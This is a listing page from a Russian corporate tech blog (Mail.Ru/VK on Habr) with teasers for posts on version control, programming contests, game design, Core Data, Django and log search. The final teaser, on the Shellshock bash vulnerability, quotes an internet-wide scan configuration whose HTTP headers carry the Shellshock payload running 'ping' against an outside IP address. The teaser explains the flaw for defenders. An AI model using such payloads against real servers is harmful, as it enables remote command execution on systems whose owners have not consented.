Как стать автором
Обновить
769.38
VK
Технологии, которые объединяют
Сначала показывать

Git as Subversion

Время на прочтение4 мин
Количество просмотров39K
Некоторое время назад при старте нового проекта было решено попробовать использовать Git вместо Subversion. Через некоторое время коллектив разделился на тех, кто любит Git (программисты), и тех, кто его ненавидит (дизайнеры и художники). Эксперимент по замене Subversion на Git провалился и на горизонте замаячила перспектива возвращения Subversion.

Почесав репу и содрогнувшись от связанных с Subversion воспоминаний мужики решили: «А что, мы же программисты!» и запилили свой Subversion с Git-ом и печеньками. Так родился проект git-as-svn.

Теперь мы можем использовать и Git, и Subversion с одним и тем же репозиторием. Причем доступ через Subversion напрямую использует данные Git-репозитория, в отличие, скажем, от SubGit, где для Subversion используется отдельный репозиторий.
Читать дальше →

Итоги Russian AI Cup 2014

Время на прочтение3 мин
Количество просмотров15K


Под звуки фанфар мы торжественно объявляем о завершении ежегодного чемпионата Russian AI Cup за 2014 год. Последние полтора месяца были очень трудными и напряжёнными как для участников, так и для организаторов мероприятия. Однако мы всё же надеемся, что вы не только получили массу удовольствия и хороших впечатлений, но и улучшили свои навыки программирования, научились чему-то новому.
Читать дальше →

Дизайнер игр: модель для сборки

Время на прочтение13 мин
Количество просмотров58K


Привет, меня зовут Александр Мишулин, я работаю креативным директором в Allods Team, подразделении Mail.Ru Group, которое занимается разработкой клиентских игр. Под термином «креативный директор» может скрываться многое. В моем случае это руководство направлением игрового дизайна в Allods Team, в первую очередь – на проекте Skyforge. Достаточно часто нам задают вопросы «Что такое дизайнер игр?», «Как им стать?», «Что вы ждете от кандидата в дизайнеры?», и сегодня я хотел бы ответить на часть таких вопросов и рассказать об этой профессии.
Читать дальше →

Утренняя богиня красоты с тяжёлым характером

Время на прочтение5 мин
Количество просмотров14K


Доброй ночи, Гиктаймс. Сегодня мы решили вспомнить о важном событии, которое произошло ровно 47 лет назад, 18 октября 1967 года. В этот день межпланетной станции «Венера-4» впервые в истории удалось осуществить прямые измерения атмосферы другой планеты и передать их на Землю.
Читать дальше →

Как мы кластеризуем подарки в ОК

Время на прочтение4 мин
Количество просмотров18K
Всем привет! Меня зовут Артур, я аналитик в отделе анализа данных департамента рекламных технологий Mail.Ru Group. И я попробую рассказать о том, как мы используем кластеризацию в своей работе.

Чего в этой статье не будет: я не буду рассказывать об алгоритмах кластеризации, об анализе качества или сравнении библиотек. Что будет в этой статье: я покажу на примере конкретной задачи, что такое кластеризация (с картинками), как ее делать если данных действительно много (ДЕЙСТВИТЕЛЬНО много) и что получается в результате.


Читать дальше →

Как проводятся хакатоны? И неделя до PayPal BattleHack 2014 Moscow

Время на прочтение5 мин
Количество просмотров13K
За последние пару лет я в качестве хобби провел большое количество хакатонов. В целом, в интернете уже много информации о том, как проходят такие мероприятия, выложены впечатления участников и рассказы организаторов. Тем не менее, при личной агитации разработчиков и дизайнеров на предложение «Приходите, будет круто!» я в подавляющем большинстве случаев получаю вопросы «А что это такое?» и «А что там надо делать?». Всего через неделю в Москве стартует один из крупнейших европейских хакатонов — PayPal BattleHack, информационным партнером которого является Mail.Ru Group, и под катом вы можете почитать о том, как хакатоны выглядят изнутри со стороны ведущего.
Читать дальше →

Не нужно бояться Core Data

Время на прочтение11 мин
Количество просмотров34K
Давно подметил, что среди многих своих коллег по цеху присутствует некоторая подозрительность и даже в некотором роде неприязнь к Core Data, причем некоторые к фреймворку даже и не притрагивались. Чего уж там, и я в начале своего пути освоения новой платформы относился к нему предвзято, пойдя на поводу у подобных комментариев. Но не стоит поддаваться предрассудкам и мифам, не потрогав продукт самостоятельно. Тем из нас, кто пошел «против системы», но еще не постиг инструмент полностью, я и посвящаю эту статью. На основе небольшого примера, основанного на реальной задаче разработки мобильного клиента нашей социальной сети Мой Мир, я хочу рассказать о некоторых «подводных» камнях и заострить внимание начинающего разработчика на важных моментах оптимизации использования Core Data. Предполагается, что читающий уже имеет представление, для чего нужны основные элементы Core Data (NSManagedObjectContext, NSPersistentStoreCoordinator и т.д.) и хотя бы поверхностно ознакомлен с API.

Наш кейс: необходимо разработать приложение, позволяющее хранить и структурировать большой объем фотографий с различной метаинформацией о них. Для этого нам потребуется Core Data… и все.

Core Data rulezzz!
Читать дальше →

Гик-конкурс: как мы это делали (часть 1)

Время на прочтение1 мин
Количество просмотров21K


Как многие из вас наверняка помнят, у нас сейчас в самом разгаре розыгрыш призов. Вкратце напомним, о чём речь. Некоторое время назад мы задались идеей придумать что-нибудь интересное для Хабра, приуроченное ко Дню программиста. В результате долгих обсуждений нам пришла в голову мысль провести розыгрыш призов, но не классический и скучный, а необычный и гиковский. В ходе экспериментов и споров на свет родилась хитроумная установка для печати билетов участников розыгрыша и… измерения веса общей массы билетов. Arduino, датчики, камеры, алюминиевые профили, оргстекло, немного инженерной смекалки и много нецензурных выражений – кто бы мог подумать что из всего этого получится интересный проект?

По правилам розыгрыша, 25 октября — последний день, когда все запоздавшие ещё могут принять участие. Напоминаем, что для этого нужно иметь аккаунт на Хабре и нажать на одну единственную кнопку на странице проекта. Аккаунты могут быть любыми, как read only, так и с инвайтом. А церемония определения победителей пройдёт 31 октября, в Хэллоуин. Но об этом мы ещё сообщим дополнительно.

Мы подготовили видео, в котором вы из первых рук узнаете о том, как мы придумывали и создавали установку, круглосуточная работа которой вот уже целый месяц транслируется на странице проекта.

Приглашаем на семинар «Практика выбора решений для защиты от угроз нулевого дня и целевых атак»

Время на прочтение3 мин
Количество просмотров4.8K


В среду, 15 октября, в московском офисе Mail.Ru Group пройдёт семинар для специалистов всех уровней в области информационной безопасности. Общая тема семинара «Практика выбора решений для защиты от угроз нулевого дня и целевых атак», организатором проведения является Ассоциация RISSPA при поддержке Mail.Ru Group. На семинаре будут представлены доклады отраслевых экспертов и поставщиков решений в области информационной безопасности.
Читать дальше →

Технические рекомендации к почтовым рассылкам

Время на прочтение11 мин
Количество просмотров45K


«Даже если вы получите какое-нибудь письмо, вы не сможете его прочитать»
(Марк Твен)

Мы уже писали о том, как правильно делать рассылки, улучшать их качество и эффективность. Приводили метрики, на основе которых строится репутация отправителя. Рассказывали об интерфейсе Постмастер Mail.Ru, с помощью которого их можно отслеживать. Многие компании, как находящиеся в начале своего развития, так и довольно крупные, пренебрегают этими правилами, в результате чего начинаются проблемы с доставляемостью писем, разбирательства со службой техподдержки и т.п. Но мы надеемся что вы не принадлежите к их числу.

Итак, ваш проект набирает популярность и нравится пользователям, вы собираетесь оставаться с ними на связи. Вы ознакомились с административными требованиями (о которых мы писали ранее) и собираетесь ответственно и без спама организовать рассылку для тех пользователей, которые готовы ее получать. А может быть, вы просто собираетесь настроить корпоративную почту. Поднимаете из дистрибутива почтовый сервер, пишете скрипт, запускаете и… 70% получателей письмо не доставлено, у 15% оно попало в папку «Спам», а остальные не могут прочитать то, что в нем написано. О том, что делать, чтобы этого не случилось, я попробую рассказать в этой статье.
Читать дальше →

Приглашаем на лекцию и семинар Виталия Фридмана

Время на прочтение2 мин
Количество просмотров7.5K


Сегодня мы рады сообщить, что в наш московский офис Mail.Ru Group приезжает Виталий Фридман, шеф-редактор журнала Smashing Magazine, один из самых известных людей в мировом веб-дизайне. Он проведет два мероприятия. Первое — это открытая лекция. Тема выступления: «Responsive Web-дизайн: Трюки и уловки».

В своём выступлении Виталий затронет такие ключевые моменты:

  1. Как достичь отзывчивости веб-дизайна, не затрачивая слишком большие финансовые и профессиональные ресурсы.
  2. Как оптимизировать эффективность responsive веб-сайта. Опыт, основанный на реальных кейсах таких сайтов, как The Guardian, BBC и Smashing Magazine.
  3. Новые трюки для SVG.
  4. Новые шаблоны responsive дизайна.

Лекция состоится 14 ноября в 19.00. Для её посещения необходимо зарегистрироваться. Внимание, количество мест ограничено! Подробнее о семинаре и как на него попасть читайте под катом.
Читать дальше →

Итоги Russian Code Cup 2014 и разбор задач

Время на прочтение15 мин
Количество просмотров21K

4 октября прошел финальный раунд крупнейшей в России ежегодной олимпиады по спортивному программированию Russian Code Cup. Победителем Russian Code Cup 2014 и обладателем главного приза — $10000 — стал Геннадий Короткевич. Второе место занял Петр Митричев — он получил $5000. Третьим финишировал Егор Куликов, его денежный приз составил $3000. Также в этом году впервые были награждены все участники, вошедшие в первую десятку: обладатели 4-10 мест получили по $1000.
Читать дальше →

Мобильная версия для Django-проекта

Время на прочтение8 мин
Количество просмотров26K


С каждым днем пользователи смартфонов занимают все большую долю интернета. По данным LiveInternet доля российских пользователей OS Android уже превысила долю Windows7. В выходные дни пользователи мобильных платформ пользуются интернетом значительно чаще. Та же тенденция наблюдается и в мире. Все это еще раз доказывает необходимость адаптации сайта для смартфонов и планшетов.

О том, как можно адаптировать ваш Django-проект для мобильных устройств, я расскажу в этой статье. Но сначала давайте разберем, какие есть варианты создания мобильной версии сайта.
Читать дальше →

Golf от Moscow.pm для всех

Время на прочтение1 мин
Количество просмотров8.5K


Всех с пятницей! По итогам недавно прошедшей встречи Moscow.pm я хочу предложить всем желающим посоревноваться в решении задачки.

Гольф (англ. golf) — спортивная игра, в которой отдельные участники или команды соревнуются, загоняя маленький мячик в специальные лунки ударами клюшек, пытаясь пройти отведённую дистанцию за минимальное число ударов.
Wikipedia

Игра, в которую я хочу предложить вам поиграть, также называется Golf. Суть ее в том, чтобы решить поставленную задачу за минимальное количество символов.
Читать дальше →

Итоги первого раунда Russian AI Cup

Время на прочтение3 мин
Количество просмотров14K


Пару дней назад окончился первый раунд ежегодного чемпионата Russian AI Cup. И по его результатам мы сегодня подготовили для вас всевозможную статистику. К моменту начала первого раунда более 1500 участников загрузили в систему свои стратегии. Из них 900 лучших по значению рейтинга в Песочнице сражались за право участвовать во втором раунде чемпионата. Конкурс составлял три человека на место, поэтому адреналина хватило всем.

Первый раунд состоял из двух частей, каждая по 12 часов непрерывного обсчета. Между частями был суточный перерыв, во время которого участники имели возможность доработать свои стратегии. В среднем конкурсанты приняли участие более чем в 100 играх в ходе каждой из частей первого раунда. Любопытно, что во второй части удалось провести чуть меньше боев, что, наверное, объясняется усложнением стратегий и проведением работы над ошибками в ходе суточного перерыва.
Читать дальше →

Случайность в автотестах

Время на прочтение5 мин
Количество просмотров18K

Введение


Когда несколько лет назад я написал свой первый автотест, он выглядел следующим образом. В цикле 100 раз доставал из базы случайного пользователя, проводил над ним требуемую операцию и проверял, что результат меня устраивает. Это казалось достаточно логичным: не могу же я проводить тест на одном пользователе, этого недостаточно, это ничего не докажет.

С тех пор прошло значительное время, я успел поработать над несколькими разными проектами на разных языках и даже сменить команду. Сегодня я могу с уверенностью сказать: вы не должны использовать случайность в своих автотестах, кроме случаев, которые будут оговорены отдельно. И я расскажу почему.
Читать дальше →

Очередной Moscow CocoaHeads состоится 3 октября

Время на прочтение2 мин
Количество просмотров3.6K


Эта неделя у нас богата на тематические встречи разработчиков. В пятницу, 3 октября, мы приглашаем всех желающих в офис Mail.Ru Group на Moscow CocoaHeads, традиционную встречу разработчиков под iOS/OS X. На этих встречах можно представить свой доклад, рассказать о своем проекте, поделиться опытом и просто пообщаться с единомышленниками. Совсем не обязательно быть гуру, можно просто прийти и послушать, что думают старшие товарищи, задать наболевшие вопросы. В этот раз выступать будут трое докладчиков, так что вечер будет насыщен информацией.
Читать дальше →

Приглашаем на Moscow.pm и Perl Golf

Время на прочтение2 мин
Количество просмотров3.6K


В четверг, 2 октября, в офисе Mail.Ru Group состоится встреча Perl-программистов Moscow.pm. В этот день для всех гостей выступят двое докладчиков.

Первой выступит Ксения Боброва, ведущий программист Денег Mail.Ru. Тема её доклада «Гибкое конфигурирование Perl-приложения с помощью Dependency Injection». Dependency Injection — это самый простой паттерн, который почему-то не используется многими разработчиками. Ксения считает, что это эффективный инструмент для избавления от некоторых архитектурных особенностей, периодически возникающих при проектировании приложений. Ксения поведает слушателям о том, как лучше всего использовать Dependency Injection и DI-контейнерах, приведёт конкретные примеры, а также расскажет об инструментах, существенно облегчающих работу с контейнерами.

Завершит программу Павел Щербинин, Team lead в проекте Новости Mail.Ru. На примере очень популярной игры Perl Golf Павел поведает о «секретных» операторах Perl. Эта игра — вовсе не классическое компьютерное развлечение, а игра-соревнование для программистов. Её цель — написать программу, решающую некую заранее оговоренную задачу. Побеждает тот, чья программа будет иметь самый короткий код. Естественно, хорошо «играть» в такую «игру» могут лишь те, кто хорошо разбирается в тонкостях и нюансах Perl. Традиционную форму подачи материала докладчик разбавит аналогичным небольшим соревнованием для слушателей. Лучшим достанутся ценные призы. ;-)

У нас будет организована прямая трансляция мероприятия (свои вопросы докладчикам вы можете задать через @MoscowPerl), а видео с прошлых конференций вы можете найти на youtube-канале встречи. Ждём вас в офисе Mail.Ru Group 2 октября ровно к 19.00, и обязательно возьмите паспорт или водительские права. Для участия необходимо пройти регистрацию. Приходите, будет интересно!

Как решать проблемы пользователей не за сутки, а за минуты: ускоряем поиск по логам

Время на прочтение6 мин
Количество просмотров29K
Мы в Почте Mail.Ru постоянно сталкиваемся с необходимостью работать с историей пользователей. Учитывая, что ежемесячная аудитория проекта составляет более 40 миллионов человек, история всех их действий – это порядка петабайта данных. Потребность в поиске по логам у нас возникает сотни раз в день, а на получение нужной информации в среднем уходило несколько часов. При этом, по нашим предположениям, извлечение информации из логов можно было ускорить до нескольких секунд.

Чтобы оценить целесообразность разработки системы для оптимизации поиска по логам, мы воспользовались вот этой таблицей с XKCD:



(на самом деле нет, но нам она все равно нравится).

Итак, мы всерьез взялись за оптимизацию. Итогом нашей работы стала разработка системы, благодаря которой мы можем поднять историю действий примерно в 100 000 (сто тысяч, это не опечатка) раз быстрее. Мы разработали big-data сервис, который позволяет хранить петабайты информации в структурированном виде: каждому ключу у нас соответствует лог каких-то событий. Хранилище устроено так, что оно способно работать и на самых дешевых SATA-дисках, и на больших многодисковых хранилищах с минимальным количеством процессорного времени, при этом оно полностью fault-толерантно — если вдруг какая-то машина выйдет из строя, это ни на что не влияет. Если в системе заканчивается место, в нее просто добавляется сервер или несколько: система автоматически увидит их и начнет записывать данные. Чтение данных происходит почти моментально.
Читать дальше →

Всё, что вы хотели знать об уязвимости Shellshock (но боялись спросить)

Время на прочтение9 мин
Количество просмотров134K
Помните Heartbleed? Shellshock можно отнести к той же «весовой категории», с таким же стильным названием, хоть и без классного логотипа (кому-то из департамента маркетинга этой уязвимости надо бы этим заняться). Но у Shellshock есть потенциал стать не менее важной птицей, чем Heartbleed. И сейчас я хотел бы собрать воедино всю необходимую информацию, которая поможет всем желающим справиться с ситуацией и избежать возможных проблем из-за неочевидной, на первый взгляд, угрозы.

Для начала позвольте поделиться с вами некоторой информацией из блога Роберта Грэма, который провёл превосходный анализ уязвимости. Рассмотрим представленный ниже HTTP-запрос:

target = 0.0.0.0/0
port = 80
banners = true
http-user-agent = shellshock-scan (http://blog.erratasec.com/2014/09/bash-shellshock-scan-of-internet.html)
http-header = Cookie:() { :; }; ping -c 3 209.126.230.74
http-header = Host:() { :; }; ping -c 3 209.126.230.74
http-header = Referer:() { :; }; ping -c 3 209.126.230.74

Если его применить к диапазону уязвимых IP, то получим такой результат:



Проще говоря, Роберт заставил кучу удалённых машин пинговать его, просто отправив в сеть специально сформированный запрос. Беспокойство вызывает тот факт, что он заставил эти машины выполнить произвольную команду (в данном случае безобидный ping), что открывает широчайшие возможности.
Читать дальше →

Информация

Сайт
team.vk.company
Дата регистрации
Дата основания
Численность
свыше 10 000 человек
Местоположение
Россия
Представитель
Дмитрий Головин